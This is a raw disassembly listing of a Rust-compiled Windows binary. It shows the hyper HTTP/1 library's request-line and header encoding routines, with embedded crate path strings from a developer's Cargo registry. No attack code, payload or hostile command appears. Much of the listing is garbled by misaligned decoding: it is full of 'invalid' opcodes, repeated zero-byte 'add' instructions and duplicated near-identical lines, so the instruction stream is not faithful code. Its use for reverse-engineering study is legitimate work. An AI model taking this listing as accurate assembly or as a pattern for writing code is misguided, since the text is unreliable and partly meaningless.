mov dword [r13 + 0x24], ecx
cmp r14, 1
jne case.0x14005f8a0.52
movups xmm0, xmmword [0x14015a3e0]
adc byte [0x14015a3e0], al
add eax, 0xdfafa
movaps xmmword [rsp + 0x40], xmm0
and al, 0x40
movdqu xmm0, xmmword [0x14015a3d0]
add byte [rsi + 0xf], ah
jg 0x14007a93b
movdqa xmmword [rsp + 0x30], xmm0
and al, 0x30
xor byte [rax - 0x73], cl
and al, 0x70
lea rcx, [rsp + 0x70]
lea r8, [rsp + 0x30]
and al, 0x30
mov rdx, rbx
call fcn.14002d9a0
cmp byte [rsp + 0x90], 2
add byte [rdx], al
add byte [rdx], al
je case.0x14005f8a0.52
test byte [rdx + 0x48000000], dh
lea ecx, [rsp + 0x88]
add byte [rax], al
invalid
lea rcx, [rsp + 0x88]
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rsp + 0x70]
and al, 0x70
and al, 0x70
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
add byte [rax], al
add byte [rax], al
add bh, bh
push rax
adc cl, ch
nop
add byte [rax], al
add byte [rax - 0x75], cl
and al, 0x60
call qword [rax + 0x10]
jmp case.0x14005f8a0.52
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xa0], rax
movdqu xmm0, xmmword [rsp + 0x30]
invalid
test byte [rax + riz*4], ah
add byte [rax], al
add bl, dh
movq mm0, qword [rsp + 0x30]
invalid
movabs al, byte [0x24446f0ff3000000]
xor bl, dh
movq mm1, qword [rsp + 0x40]
and al, 0x40
movdqu xmm1, xmmword [rsp + 0x40]
and al, 0x40
movdqu xmm2, xmmword [rsp + 0x50]
movdqu xmm2, xmmword [rsp + 0x50]
movdqa xmmword [rsp + 0x90], xmm2
jg 0x14007a8f2
xchg esp, eax
and al, 0x90
add byte [rax], al
add byte [rsi + 0xf], ah
movdqa xmmword [rsp + 0x80], xmm1
jg 0x14007a8f3
and al, 0x80
add byte [rax], al
add byte [rsi + 0xf], ah
invalid
invalid
jg case.0x1400578a9.80
movdqa xmmword [rsp + 0x70], xmm0
and al, 0x70
lea rax, [0x140146b78]
add eax, 0xcc1ff
inc ecx
or al, 0
mov qword [rsp + 0xf0], rax
lea rax, [0x14014767d]
add eax, 0xcccf5
lock add byte [rax], al
add byte [rax - 0x73], cl
add eax, 0xcccf5
cmc
int3
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], 7
mov dword [rsp + 0x100], 7
clc
add byte [rax], al
add byte [rax - 0x39], cl
invalid
mov dword [rsp + 0x100], 7
test byte [rax + rax], ah
add byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rdi], al
invalid
add byte [rax], al
add byte [rax], al
invalid
invalid
test byte [rax + rcx], ah
add dword [rax], eax
invalid
add byte [rax], al
mov qword [rsp + 0x108], 0
mov dword [rsp + 0x108], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dh, al
mov byte [rsp + 0x110], 0
test byte [rax + rdx], ah
and al, 0x10
add dword [rax], eax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, [rsp + 0x70]
and al, 0x70
jo 0x14007a9fe
lea rdx, [rsp + 0xf0]
lea edx, [rsp + 0xf0]
lock add byte [rax], al
add al, ch
jle 0x14007a9d8
call fcn.14002c240
test rax, rax
sti
dec dword [rax - 0x7b]
ror byte [rdi], 0x84
invalid
invalid
xchg ebx, eax
adc al, byte [rax]
je 0x14007bc5e
add byte [rcx], dh
ror byte [rbx + rcx*4 + 0x4c], 0x24
mov r9, qword [rsp + 0x28]
invalid
invalid
xor eax, eax
mov r9, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
and al, 0x30
mov qword [rsp + 0x38], r15
mov dword [rsp + 0x38], edi
and al, 0x38
mov byte [rsp + 0x40], 0
and al, 0x40
add byte [rbp - 0x73], cl
lea r14, [r9 + 0xd8]
mov r8, qword [rbx + 0x40]
mov cl, 0xd8
add byte [rax], al
add byte [rbx + rcx*4 + 0x43], cl
add r8, qword [rbx + 0x28]
add r8, qword [rbx + 0x28]
add r8, qword [rbx + 0x28]
add eax, dword [rbx + 0x28]
lea rax, [r8 + r8]
add al, 0
shl r8, 5
shl eax, 5
sub r8, rax
ror byte [rcx - 0x7d], 0xc0
add r8, 0x1e
mov rax, qword [r9 + 0xd8]
mov eax, dword [rcx + 0xd8]
rcr byte [rsi], 0x49
invalid
mov eax, dword [rcx + 0xd8]
add byte [rax], al
mov rdx, qword [r9 + 0xe8]
add byte [rax], al
add byte [rax + 0x29], cl
invalid
invalid
sub rax, rdx
cmp r8, rax
ja case.default.0x14007aa37
ror byte [rcx + 0x39], 1
sal byte [rdi + 0x36], 0xf
movzx eax, byte [rbx + 0xb8]
lea rdx, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCHC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
movzx eax, byte [rbx + 0xb8]
add byte [rax], al
lea rdx, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCHC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
adc eax, 0xcc16d
mov r15d, 7
lea rcx, [0x140194328]
movsxd rax, dword [rcx + rax*4]
invalid
add rax, rcx
add eax, ecx
jmp rax
lea rdx, [0x140146b97]
ror dword [rax + rax], 0x41
mov edi, 3
add eax, dword [rax]
add byte [rax], al
mov r15d, 3
add eax, dword [rax]
add byte [rax], al
jmp case.0x14007aa37.0
add byte [rax], al
add byte [rcx + rcx*4 - 0xf], cl
mov rcx, r14
mov rcx, r14
mov ecx, esi
int1
call fcn.14012aee0
lea eax, [rbx + rcx]
add al, 0xb
or eax, dword [rax]
add byte [rbx + rcx*4 + 0x4c], cl
and al, 0x28
mov r9, qword [rsp + 0x28]
and al, 0x28
movzx eax, byte [rbx + 0xb8]
cmp dword [rax + 0x48000000], 0xffffff8d
add byte [rax - 0x73], cl
lea rdx, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCHC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
lea edx, str.OPTIONSGETPOSTPUTDELETEHEADTRACECONNECTPATCHC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1_role.rs
adc eax, 0xcc12a
add byte [rcx - 0x41], al
invalid
mov r15d, 7
lea rcx, [0x140194328]
or eax, 0x1198b5
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0x1198b5
add byte [rax + 0x63], cl
add al, 0x81
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0x48
lea edx, [0x140146b9a]
lea rdx, [0x140146b9a]
mov r15d, 4
add byte [rax], al
add bl, ch
ja 0x14007aad4
invalid
jmp case.0x14007aa37.0
lea rdx, [0x140146ba1]
lea edx, [0x140146ba1]
add byte [rcx - 0x41], al
invalid
mov r15d, 6
jmp case.0x14007aa37.0
movzx r15d, byte [rbx + 0xc8]
add byte [rax], al
add byte [rcx - 0x7d], cl
call qword [rax]
cmp r15, 0x10
jae 0x14007bb1f
adc byte [rax], al
add byte [rax - 0x73], cl
xchg ebx, eax
mov ecx, 0xeb000000
add byte [rax], al
add bl, ch
lea rdx, [rbx + 0xb9]
jmp case.0x14007aa37.0
add byte [rax], al
add bl, ch
lea rdx, [0x140146b9e]
lea rdx, [0x140146b9e]
ror byte [rax + rax], 0x41
mov edi, 3
add byte [rcx - 0x41], al
add eax, dword [rax]
add byte [rax], al
mov r15d, 3
jmp case.0x14007aa37.0
lea rdx, [0x140146bb0]
adc eax, 0xcc0e5
or al, 0
jmp case.0x14007aa37.0
lea rdx, [0x140146ba7]
mov r15d, 4
add al, 0
add byte [rax], al
jmp case.0x14007aa37.0
lea rdx, [0x140146bab]
jmp 0x14007aafc
mov rdx, qword [rbx + 0xc0]
mov r15, qword [rbx + 0xc8]
jmp case.0x14007aa37.0
lea rdx, [0x140146bb7]
mov r15d, 5
mov rax, qword [r9 + 0xd8]
mov rcx, qword [r9 + 0xe8]
sub rax, rcx
cmp rax, r15
jb 0x14007b2ea
add rcx, qword [r9 + 0xe0]
mov r8, r15
call fcn.140121660
mov rcx, qword [rsp + 0x28]
add r15, qword [rcx + 0xe8]
mov qword [rcx + 0xe8], r15
cmp qword [rcx + 0xd8], r15
je 0x14007b312
mov rax, qword [rcx + 0xe0]
mov byte [rax + r15], 0x20
inc qword [rcx + 0xe8]
mov qword [rsp + 0xd0], r14
lea r15, [rbx + 0x60]
mov qword [rsp + 0xf0], r15
lea rax, [0x140024380]
mov qword [rsp + 0xf8], rax
lea rax, [0x140146ca0]
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
lea rsi, [rsp + 0xf0]
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], 1
lea rdx, [0x140146cc0]
lea rdi, [rsp + 0xd0]
lea r8, [rsp + 0x70]
mov rcx, rdi
call fcn.140009870
movzx eax, byte [rbx + 0xd8]
cmp eax, 1
je 0x14007ac58
cmp eax, 2
je 0x14007ac36
cmp eax, 3
mov rcx, qword [rsp + 0x28]
jne 0x14007ba12
mov rax, qword [rcx + 0xd8]
mov rdx, qword [rcx + 0xe8]
sub rax, rdx
movabs rsi, 0x312e312f50545448
cmp rax, 7
ja 0x14007ac7e
mov r8d, 8
mov rcx, r14
call fcn.14012aee0
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rcx + 0xe8]
jmp 0x14007ac7e
mov rcx, qword [rsp + 0x28]
mov rax, qword [rcx + 0xd8]
mov rdx, qword [rcx + 0xe8]
sub rax, rdx
movabs rsi, 0x312e312f50545448
jmp 0x14007ac78
mov rcx, qword [rsp + 0x28]
mov rax, qword [rcx + 0xd8]
mov rdx, qword [rcx + 0xe8]
sub rax, rdx
movabs rsi, 0x302e312f50545448
cmp rax, 8
jb 0x14007ac1a
mov rax, qword [rcx + 0xe0]
mov qword [rax + rdx], rsi
mov rax, qword [rcx + 0xd8]
mov rdx, qword [rcx + 0xe8]
add rdx, 8
mov qword [rcx + 0xe8], rdx
sub rax, rdx
cmp rax, 1
mov qword [rsp + 0x130], r15
jbe 0x14007b334
mov rax, qword [rcx + 0xe0]
mov word [rax + rdx], 0xa0d
add qword [rcx + 0xe8], 2
mov rcx, qword [rbx + 0xd0]
test rcx, rcx
mov qword [rsp + 0x128], rbx
je 0x14007adbe
cmp qword [rcx + 0x18], 0
je 0x14007adbe
mov rax, qword [rcx]
mov rcx, qword [rcx + 8]
movabs rsi, 0xba98617365d62318
mov rdx, rcx
and rdx, rsi
lea r8, [rax - 0x20]
xor r9d, r9d
movdqa xmm0, xmmword [0x14012faf0]
pcmpeqd xmm1, xmm1
movabs r15, 0x3a1269e06a43b7b0
movdqu xmm2, xmmword [rax + rdx]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r10d, xmm3
test r10d, r10d
jne 0x14007ad6d
pcmpeqb xmm2, xmm1
pmovmskb r10d, xmm2
test r10d, r10d
mov rbx, qword [rsp + 0x128]
jne 0x14007adbe
add rdx, r9
add rdx, 0x10
add r9, 0x10
and rdx, rcx
jmp 0x14007ad23
lea r11d, [r10 - 1]
and r11w, r10w
mov r10d, r11d
je 0x14007ad3a
tzcnt r11d, r10d
add r11, rdx
and r11, rcx
mov rbx, r11
shl rbx, 5
mov rdi, r8
sub rdi, rbx
cmp qword [rdi], r15
jne 0x14007ad60
cmp qword [rdi + 8], rsi
jne 0x14007ad60
neg r11
shl r11, 5
mov rdi, qword [rax + r11 - 0x10]
mov rax, qword [rax + r11 - 8]
mov rcx, rdi
call qword [rax + 0x18]
xor rax, r15
xor rdx, rsi
or rdx, rax
mov rbx, qword [rsp + 0x128]
je 0x14007b353
xor esi, esi
test bpl, bpl
je 0x14007b0a9
cmp qword [rbx + 0x28], 0
sete sil
add esi, esi
xor r15d, r15d
mov r8, qword [rsp + 0x28]
jmp 0x14007adf5
cmp rsi, 2
jne 0x14007ae20
inc r15
cmp r15, qword [rbx + 0x28]
jae 0x14007b369
imul rax, r15, 0x68
add rax, qword [rbx + 0x20]
jmp 0x14007aea0
mov rdx, qword [rbx + 0x28]
cmp r15, rdx
jae 0x14007b9f4
imul rax, r15, 0x68
add rax, qword [rbx + 0x20]
cmp rsi, 1
jne 0x14007aea0
mov rdx, qword [rbx + 0x40]
cmp r12, rdx
jae 0x14007ba03
mov rcx, qword [rbx + 0x38]
lea rdx, [r12 + r12*8]
lea r9, [rcx + rdx*8]
mov esi, 2
test byte [rcx + rdx*8 + 0x10], 1
je 0x14007ae69
mov r12, qword [r9 + 0x18]
mov esi, 1
add r9, 0x20
mov qword [rsp + 0x140], r9
cmp qword [rax + 0x40], 0
jne 0x14007aec4
movzx ecx, byte [rax + 0x48]
call fcn.14002c0a0
mov r8, qword [rsp + 0x28]
mov r13, rax
mov rbp, rdx
jmp 0x14007aecc
mov r12, qword [rax + 8]
cmp qword [rax], 1
mov esi, 0
adc rsi, 1
lea r9, [rax + 0x18]
mov qword [rsp + 0x140], r9
cmp qword [rax + 0x40], 0
je 0x14007ae7c
mov r13, qword [rax + 0x48]
mov rbp, qword [rax + 0x50]
mov rax, qword [r8 + 0xd8]
mov rdi, qword [r8 + 0xe8]
sub rax, rdi
cmp rax, rbp
jb 0x14007b03a
test rbp, rbp
je 0x14007af96
mov qword [rsp + 0x188], rsi
mov qword [rsp + 0x190], r12
mov qword [rsp + 0x198], r15
mov sil, 0x2d
xor r15d, r15d
jmp 0x14007af37
and sil, bl
shl sil, 5
xor sil, r12b
mov rax, qword [r8 + 0xe0]
mov byte [rax + rdi], sil
inc rdi
mov qword [r8 + 0xe8], rdi
inc r15
cmp rbp, r15
je 0x14007af70
movzx r12d, byte [r13 + r15]
cmp sil, 0x2d
sete sil
lea eax, [r12 - 0x61]
cmp al, 0x1a
setb bl
cmp rdi, qword [r14]
jne 0x14007af10
mov rcx, r14
call fcn.14001c770
mov r8, qword [rsp + 0x28]
jmp 0x14007af10
mov rax, qword [r14]
sub rax, rdi
mov rbx, qword [rsp + 0x128]
mov r15, qword [rsp + 0x198]
mov r12, qword [rsp + 0x190]
mov rsi, qword [rsp + 0x188]
cmp rax, 1
jbe 0x14007b059
mov rcx, r14
mov rdx, rdi
mov r8, rbp
call fcn.14012aee0
mov r8, qword [rsp + 0x28]
mov rdi, qword [r8 + 0xe8]
jmp 0x14007aeef
cmp qword [rbx + 0x28], 0
sete sil
add esi, esi
xor r15d, r15d
mov r8, qword [rsp + 0x28]
jmp 0x14007b0d5
cmp rsi, 2
jne 0x14007b100
inc r15
cmp r15, qword [rbx + 0x28]
jae 0x14007b369
imul rax, r15, 0x68
add rax, qword [rbx + 0x20]
jmp 0x14007b170
mov rdx, qword [rbx + 0x28]
cmp r15, rdx
jae 0x14007b9f4
imul rax, r15, 0x68
add rax, qword [rbx + 0x20]
cmp rsi, 1
jne 0x14007b170
mov rdx, qword [rbx + 0x40]
cmp r12, rdx
jae 0x14007ba03
mov rcx, qword [rbx + 0x38]
lea rdx, [r12 + r12*8]
lea rbp, [rcx + rdx*8]
mov esi, 2
test byte [rcx + rdx*8 + 0x10], 1
je 0x14007b149
mov r12, qword [rbp + 0x18]
mov esi, 1
add rbp, 0x20
cmp qword [rax + 0x40], 0
jne 0x14007b18c
movzx ecx, byte [rax + 0x48]
call fcn.14002c0a0
mov r8, qword [rsp + 0x28]
mov r13, rax
mov rdi, rdx
jmp 0x14007b194
mov r12, qword [rax + 8]
cmp qword [rax], 1
mov esi, 0
adc rsi, 1
lea rbp, [rax + 0x18]
cmp qword [rax + 0x40], 0
je 0x14007b154
mov r13, qword [rax + 0x48]
mov rdi, qword [rax + 0x50]
mov rax, qword [r8 + 0xd8]
mov rdx, qword [r8 + 0xe8]
sub rax, rdx
cmp rax, rdi
jb 0x14007b27c
add rdx, qword [r8 + 0xe0]
mov rcx, rdx
mov rdx, r13
mov r8, rdi
call fcn.140121660
mov r8, qword [rsp + 0x28]
add rdi, qword [r8 + 0xe8]
mov qword [r8 + 0xe8], rdi
mov rax, qword [r8 + 0xd8]
sub rax, rdi
cmp rax, 1
jbe 0x14007b298
mov rax, qword [r8 + 0xe0]
mov word [rax + rdi], 0x203a
mov rax, qword [r8 + 0xd8]
mov rcx, qword [r8 + 0xe8]
add rcx, 2
mov qword [r8 + 0xe8], rcx
mov rdx, qword [rbp + 8]
mov rdi, qword [rbp + 0x10]
sub rax, rcx
cmp rax, rdi
jb 0x14007b2ba
add rcx, qword [r8 + 0xe0]
mov r8, rdi
call fcn.140121660
mov r8, qword [rsp + 0x28]
add rdi, qword [r8 + 0xe8]
mov qword [r8 + 0xe8], rdi
mov rax, qword [r8 + 0xd8]
sub rax, rdi
cmp rax, 1
ja 0x14007b0c0
mov rcx, r14
mov r8, rdi
call fcn.14012aee0
mov r8, qword [rsp + 0x28]
mov rdx, qword [r8 + 0xe8]
jmp 0x14007b1ae
mov r8d, 2
mov rcx, r14
mov rdx, rdi
call fcn.14012aee0
mov r8, qword [rsp + 0x28]
mov rdi, qword [r8 + 0xe8]
jmp 0x14007b1ea
mov rax, rcx
mov rcx, r14
mov rbx, rdx
mov rdx, rax
mov r8, rdi
call fcn.14012aee0
mov r8, qword [rsp + 0x28]
mov rdx, rbx
mov rbx, qword [rsp + 0x128]
mov rcx, qword [r8 + 0xe8]
jmp 0x14007b224
mov rax, rcx
mov rcx, r14
mov rsi, rdx
mov rdx, rax
mov r8, r15
call fcn.14012aee0
mov r9, qword [rsp + 0x28]
mov rdx, rsi
mov rcx, qword [r9 + 0xe8]
jmp 0x14007ab1c
mov r8d, 1
mov rcx, r14
mov rdx, r15
call fcn.14012aee0
mov rcx, qword [rsp + 0x28]
mov r15, qword [rcx + 0xe8]
jmp 0x14007ab4b
mov r8d, 2
mov rcx, r14
call fcn.14012aee0
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rcx + 0xe8]
jmp 0x14007acb7
mov rcx, rbx
mov rdx, rdi
mov r8, r14
mov r9d, ebp
call fcn.140123380
mov r8, qword [rsp + 0x28]
mov rax, qword [r8 + 0xd8]
mov rdx, qword [r8 + 0xe8]
sub rax, rdx
cmp rax, 1
jbe 0x14007b9d5
mov rax, qword [r8 + 0xe0]
mov word [rax + rdx], 0xa0d
add qword [r8 + 0xe8], 2
mov rdi, qword [rbx + 0x20]
mov rsi, qword [rbx + 0x28]
mov qword [rbx + 0x28], 0
test rsi, rsi
je 0x14007b3f5
add rdi, 0x30
jmp 0x14007b3db
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x68
dec rsi
je 0x14007b3f5
mov rax, qword [rdi + 0x10]
test rax, rax
je 0x14007b3c0
lea rcx, [rdi + 0x28]
mov rdx, qword [rdi + 0x18]
mov r8, qword [rdi + 0x20]
call qword [rax + 0x10]
jmp 0x14007b3c0
mov rdi, qword [rbx + 0x38]
mov rsi, qword [rbx + 0x40]
mov qword [rbx + 0x40], 0
test rsi, rsi
je 0x14007b42b
add rdi, 0x38
nop
mov rax, qword [rdi - 0x18]
mov rdx, qword [rdi - 0x10]
mov r8, qword [rdi - 8]
mov rcx, rdi
call qword [rax + 0x10]
add rdi, 0x48
dec rsi
jne 0x14007b410
mov qword [rbx], 0
mov rax, qword [rbx + 0x50]
test rax, rax
je 0x14007b4af
mov rcx, qword [rbx + 0x48]
lea rdx, [rax - 1]
movabs r8, 0x3fffffffffffffff
and r8, rdx
mov rdx, rcx
cmp r8, 7
jb 0x14007b49b
inc r8
mov r9, r8
and r9, 0xfffffffffffffff8
lea rdx, [rcx + r9*4]
xor r10d, r10d
movdqa xmm0, xmmword [0x14012f720]
nop word cs:[rax + rax]
movdqu xmmword [rcx + r10*4], xmm0
movdqu xmmword [rcx + r10*4 + 0x10], xmm0
add r10, 8
cmp r9, r10
jne 0x14007b480
cmp r8, r9
je 0x14007b4af
lea rax, [rcx + rax*4]
nop
mov dword [rdx], 0xffff
add rdx, 4
cmp rdx, rax
jne 0x14007b4a0
mov r14, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov r15, qword [rsp + 0x40]
mov r8, qword [rsp + 0x160]
cmp r8, 2
mov rdx, qword [rsp + 0x28]
je 0x14007b583
lea rdx, [rsp + 0x178]
mov rcx, qword [rsp + 0x168]
mov rax, qword [rsp + 0x170]
test r8b, 1
je 0x14007b505
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x68]
mov rdi, qword [rsp + 0x160]
cmp rdi, 2
mov rdx, qword [rsp + 0x28]
je 0x14007b583
mov rdx, qword [rsp + 0x178]
mov rcx, qword [rsp + 0x168]
mov rax, qword [rsp + 0x170]
test dil, 1
je 0x14007b54b
cmp r14, 2
jne 0x14007b6c9
mov rcx, qword [rdx + 0xc0]
test rcx, rcx
je 0x14007b5a3
call fcn.14005cd00
mov rdx, qword [rsp + 0x28]
mov qword [rdx + 0xc0], rsi
mov qword [rdx + 0x90], 5
mov rax, qword [rsp + 0x138]
mov qword [rax], 2
cmp byte [rbx + 0xb8], 0xa
mov rsi, qword [rsp + 0x130]
jb 0x14007b5f5
movups xmm0, xmmword [rbx + 0x50]
movaps xmmword [rsp + 0xc0], xmm0
movups xmm0, xmmword [rbx + 0x40]
movaps xmmword [rsp + 0xb0], xmm0
movdqu xmm0, xmmword [rbx]
movdqu xmm1, xmmword [rbx + 0x10]
movdqu xmm2, xmmword [rbx + 0x20]
movdqu xmm3, xmmword [rbx + 0x30]
movdqa xmmword [rsp + 0xa0], xmm3
movdqa xmmword [rsp + 0x90], xmm2
movdqa xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
lea r12, [rdx + 0x10]
cmp dword [rdx + 0x10], 3
je 0x14007b88a
cmp qword [rdx + 0x60], 0
je 0x14007b742
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [r12 + 0x50], xmm0
movaps xmm0, xmmword [rsp + 0xb0]
movups xmmword [r12 + 0x40], xmm0
movdqa xmm0, xmmword [rsp + 0x70]
movdqa xmm1, xmmword [rsp + 0x80]
movdqa xmm2, xmmword [rsp + 0x90]
movdqa xmm3, xmmword [rsp + 0xa0]
movdqu xmmword [r12 + 0x30], xmm3
movdqu xmmword [r12 + 0x20], xmm2
movdqu xmmword [r12 + 0x10], xmm1
movdqu xmmword [r12], xmm0
mov rax, qword [rsp + 0x138]
mov qword [rax], r14
mov qword [rax + 8], rsi
mov qword [rax + 0x10], r15
cmp byte [rbx + 0xb8], 0xa
jb 0x14007b91e
mov r8d, 2
mov rcx, r14
call fcn.14012aee0
mov r8, qword [rsp + 0x28]
mov rdx, qword [r8 + 0xe8]
jmp 0x14007b384
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r15
call fcn.140122580
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, r12
call fcn.140122580
mov byte [rsp + 0xd0], al
mov qword [rsp + 0xf0], rdi
lea rax, [0x140026410]
mov qword [rsp + 0xf8], rax
lea rax, str.unexpected_request_version:
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x90], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], 1
lea rdx, [0x140146d20]
lea rcx, [rsp + 0x70]
call fcn.1401224d0
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE_
lea r9, [0x14015d270]
lea r8, [rsp + 0x148]
mov edx, 0x17
call fcn.140122900
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rdi
call fcn.140122580
lea rax, [rsp + 0xf0]
mov qword [rsp + 0x30], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], rax
lea rax, str.new_len____capacity_
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x70]
call fcn.1401224d0
lea r8, [0x140146058]
mov edx, 0xf
mov rcx, r15
call fcn.1401225f0
xor ecx, ecx
mov rdx, rdi
call fcn.140122170
mov ecx, 1
mov rdx, rdi
call fcn.140122170
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
mov rcx, rdi
call fcn.140122580
lea rax, str.BodyLength::Unknown_would_set_chunked
mov qword [rsp + 0x30], rax
lea rax, [0x140031b60]
mov qword [rsp + 0x38], rax
lea rax, str.internal_error:_entered_unreachable_code:
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 1
lea rdx, [0x140146d70]
lea rcx, [rsp + 0x70]
call fcn.1401224d0
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
jmp 0x14007ba7d
lea r8, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
call fcn.140122580
mov qword [rsp + 0x1a8], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x30], rax
lea rax, [0x1400318a0]
mov qword [rsp + 0x38], rax
lea rcx, [rsp + 0x1a8]
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x48], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 2
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1encode.rs_r_n0_r_n_r_nC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnectdns.rs
lea rcx, [rsp + 0x70]
call fcn.1401224d0
lea rcx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheader_value.rs
call fcn.140122a00
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rs
jmp 0x14007ba7d
push rax
add dword [rbx + rax*2 + 0x41], esi
mov ebp, 1
jmp 0x14007d107
add byte [rax], 0
add byte [rax - 0x75], cl
and al, 0x48
jmp 0x14007c4f9
in al, 0x45
xor ebp, ebp
jmp 0x14007d107
invalid
xor r13d, r13d
mov rdx, r14
xor r8d, r8d
call qword [r12 + 0x10]
mov r14, r15
xor r12d, r12d
jmp 0x14007d107
add eax, 0xcee
mov qword [rsp + 0x38], rax
lea rax, [0x14015a320]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
mov qword [rsp + 0x70], 0
mov dword [rsp + 0x70], 0
mov dword [rsp + 0x70], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1conn.rsinternal_error:_entered_unreachable_code:_write_body_invalid_state:
lea rcx, [rsp + 0x50]
call fcn.1401224d0
xlatb
pop rdi
or al, byte [rax]
xlatb
pop rdi
or al, byte [rax]
mov qword [rsp + 0x50], r12
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rcx
movzx ecx, byte [rbp]
test ecx, ecx
je 0x14007c566
cmp ecx, 2
jne 0x14007c593
cmp byte [rbx + 0x79], 0
je 0x14007c570
test rax, rax
je 0x14007c5a3
lea rax, [rsp + 0x60]
mov rcx, qword [rsp + 0xc8]
mov qword [rsp + 0xb0], rcx
add byte [rdi], cl
adc byte [rsp + 0xb8], al
add byte [rdi], cl
adc byte [rsp + 0xb8], al
movaps xmmword [rsp + 0xa0], xmm0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0xd0], xmm0
mov r15d, 1
mov r13d, 3
jmp 0x14007d12a
cmp qword [rbx + 0x80], 0
je 0x14007c520
test rax, rax
je 0x14007c59b
movups xmm0, xmmword [rsp + 0x50]
push rax
movups xmm1, xmmword [rsp + 0x60]
movups xmmword [rsi + 0x18], xmm1
movups xmmword [rsi + 8], xmm0
mov qword [rsi], 1
invalid
add dword [rax], eax
add byte [rax], al
jmp 0x14007d170
invalid
cmp byte [rbx + 0x79], 0xc
je 0x14007c520
jmp 0x14007c570
mov r13d, 4
jmp 0x14007c5a9
mov r13d, 3
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0xb0], rax
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
movups xmm0, xmmword [rsp + 0xb8]
